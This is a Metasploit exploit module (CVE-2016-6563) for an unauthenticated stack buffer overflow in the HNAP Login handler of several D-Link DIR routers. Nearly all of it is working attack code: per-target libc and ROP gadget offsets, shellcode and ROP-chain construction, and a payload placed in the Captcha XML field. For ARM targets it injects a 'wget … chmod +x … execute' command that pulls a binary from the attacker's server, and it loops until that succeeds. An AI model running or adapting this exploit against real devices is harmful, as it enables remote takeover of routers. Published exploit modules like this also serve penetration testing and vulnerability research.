Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
# Payload working status:  
# MIPS:  
# - all valid payloads working (the ones that we are able to send without null bytes)  
# ARM:  
# - inline rev/bind shell works (bind... meh sometimes)  
# - stager rev/bind shell FAIL  
# - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',  
'Description' => %q{  
Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which  
is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,  
which accepts arbitrarily long strings into certain XML parameters and then copies them into  
the stack.  
This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested  
using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and  
this vulnerability is present in both MIPS and ARM devices.  
The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a  
few load and store instructions. Because of this the payloads have to be sent unencoded, which  
can cause them to fail, although the bind shell seems to work well.  
For the ARM devices, the inline reverse tcp seems to work best.  
Check the reference links to see the vulnerable firmware versions.  
},  
'Author' =>  
[  
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'Platform' => ['linux'],  
'References' =>  
[  
['CVE', '2016-6563'],  
['US-CERT-VU', '677427'],  
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],  
['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']  
],  
'DefaultOptions' => { 'WfsDelay' => 10 },  
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground (ARM target)  
'Targets' =>  
[  
[ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',  
{  
'Offset' => 3072,  
'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers  
'Sleep' => 0x56DF0, # sleep() offset into libuClibc-0.9.30.3.so  
'FirstGadget' => 0x4EA1C, # see comments below for gadget information  
'SecondGadget' => 0x2468C,  
'ThirdGadget' => 0x41f3c,  
'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi sp,sp,-3128  
'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr sp  
'BranchDelay' => "\x20\x84\xf8\x30", # addi a0,a0,-2000 (nop)  
'Arch' => ARCH_MIPSBE,  
'Payload' =>  
{  
'BadChars' => "\x00",  
'EncoderType' => Msf::Encoder::Type::Raw # else it will fail with SIGILL, this CPU is crippled  
},  
}  
],  
[ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',  
{  
'Offset' => 1024,  
'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)  
'System' => 0x5A270, # system() offset into libuClibc-0.9.32.1.so  
'FirstGadget' => 0x18298, # see comments below for gadget information  
'SecondGadget' => 0x40CB8,  
'Arch' => ARCH_ARMLE,  
}  
],  
],  
'DisclosureDate' => 'Nov 7 2016',  
'DefaultTarget' => 0))  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),  
OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),  
OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),  
OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),  
OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),  
], self.class)  
end  
  
def check  
begin  
res = send_request_cgi({  
'uri' => '/HNAP1/',  
'method' => 'POST',  
'Content-Type' => 'text/xml',  
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }  
})  
  
if res && res.code == 500  
return Exploit::CheckCode::Detected  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown  
end  
  
Exploit::CheckCode::Safe  
end  
  
def calc_encode_addr (offset, big_endian = true)  
if big_endian  
[(target['LibcBase'] + offset).to_s(16)].pack('H*')  
else  
[(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse  
end  
end  
  
def prepare_shellcode_arm (cmd)  
#All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers  
  
#first_gadget (pops system() address into r3, and second_gadget into PC):  
#.text:00018298 LDMFD SP!, {R3,PC}  
  
#second_gadget (puts the stack pointer into r0 and calls system() at r3):  
#.text:00040CB8 MOV R0, SP  
#.text:00040CBC BLX R3  
  
#system() (Executes argument in r0 (our stack pointer)  
#.text:0005A270 system  
  
#The final payload will be:  
#'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command  
shellcode = rand_text_alpha(target['Offset']) + # filler  
"\xff\xff\xff\xff" + # n integer overwrite (see advisory)  
rand_text_alpha(16) + # moar filler  
rand_text_alpha(4) + # r11  
calc_encode_addr(target['FirstGadget'], false) + # first_gadget  
calc_encode_addr(target['System'], false) + # system() address  
calc_encode_addr(target['SecondGadget'], false) + # second_gadget  
cmd # our command  
end  
  
def prepare_shellcode_mips  
#All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers  
  
#<sleep> is at 56DF0  
  
#first gadget - execute sleep and call second_gadget  
#.text:0004EA1C move $t9, $s0 <- sleep()  
#.text:0004EA20 lw $ra, 0x20+var_4($sp) <- second_gadget  
#.text:0004EA24 li $a0, 2 <- arg for sleep()  
#.text:0004EA28 lw $s0, 0x20+var_8($sp)  
#.text:0004EA2C li $a1, 1  
#.text:0004EA30 move $a2, $zero  
#.text:0004EA34 jr $t9  
#.text:0004EA38 addiu $sp, 0x20  
  
#second gadget - put stack pointer in a1:  
#.text:0002468C addiu $s1, $sp, 0x58  
#.text:00024690 li $s0, 0x44  
#.text:00024694 move $a2, $s0  
#.text:00024698 move $a1, $s1  
#.text:0002469C move $t9, $s4  
#.text:000246A0 jalr $t9  
#.text:000246A4 move $a0, $s2  
  
#third gadget - call $a1 (stack pointer):  
#.text:00041F3C move $t9, $a1  
#.text:00041F40 move $a1, $a2  
#.text:00041F44 addiu $a0, 8  
#.text:00041F48 jr $t9  
#.text:00041F4C nop  
  
#When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.  
#prep_shellcode_1: 23bdf7a8 addi sp,sp,-3128  
#prep_shellcode_2: 03a0f809 jalr sp  
#branch_delay: 2084f830 addi a0,a0,-2000  
  
#The final payload will be:  
#shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay  
shellcode = payload.encoded + # exploit  
rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler  
calc_encode_addr(target['Sleep']) + # s0  
rand_text_alpha(4) + # s1  
rand_text_alpha(4) + # s2  
rand_text_alpha(4) + # s3  
calc_encode_addr(target['ThirdGadget']) + # s4 (third gadget)  
calc_encode_addr(target['FirstGadget']) + # initial pc / ra (first_gadget)  
rand_text_alpha(0x1c) + # filler  
calc_encode_addr(target['SecondGadget']) + # second_gadget  
rand_text_alpha(0x58) + # filler  
target['PrepShellcode1'] + # exploit prep  
target['PrepShellcode2'] + # exploit prep  
target['BranchDelay'] # exploit prep  
end  
  
def send_payload (payload)  
begin  
# the payload can go in the Action, Username, LoginPassword or Captcha XML tag  
body = %{  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<Login xmlns="http://purenetworks.com/HNAP1/">  
<Action>something</Action>  
<Username>Admin</Username>  
<LoginPassword></LoginPassword>  
<Captcha>#{payload}</Captcha>  
</Login>  
</soap:Body>  
</soap:Envelope>  
}  
  
res = send_request_cgi({  
'uri' => '/HNAP1/',  
'method' => 'POST',  
'ctype' => 'text/xml',  
'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },  
'data' => body  
})  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")  
end  
end  
  
# Handle incoming requests from the server  
def on_request_uri(cli, request)  
#print_status("on_request_uri called: #{request.inspect}")  
if (not @pl)  
print_error("#{peer} - A request came in, but the payload wasn't ready yet!")  
return  
end  
print_status("#{peer} - Sending the payload to the device...")  
@elf_sent = true  
send_response(cli, @pl)  
end  
  
def exploit  
print_status("#{peer} - Attempting to exploit #{target.name}")  
if target == targets[0]  
send_payload(prepare_shellcode_mips)  
else  
downfile = rand_text_alpha(8+rand(8))  
@pl = generate_payload_exe  
@elf_sent = false  
resource_uri = '/' + downfile  
  
#do not use SSL  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
  
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")  
srv_host = Rex::Socket.source_address(rhost)  
else  
srv_host = datastore['SRVHOST']  
end  
  
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri  
print_status("#{peer} - Starting up our web service on #{service_url} ...")  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
  
datastore['SSL'] = true if ssl_restore  
print_status("#{peer} - Asking the device to download and execute #{service_url}")  
  
filename = rand_text_alpha_lower(rand(8) + 2)  
cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"  
  
shellcode = prepare_shellcode_arm(cmd)  
  
print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")  
counter = 0.00  
while (not @elf_sent)  
if counter % 50.00 == 0 && counter != 0.00  
print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")  
end  
send_payload(shellcode)  
sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value (< 1s) is fine  
counter += 1  
end  
print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")  
end  
end  
end  
`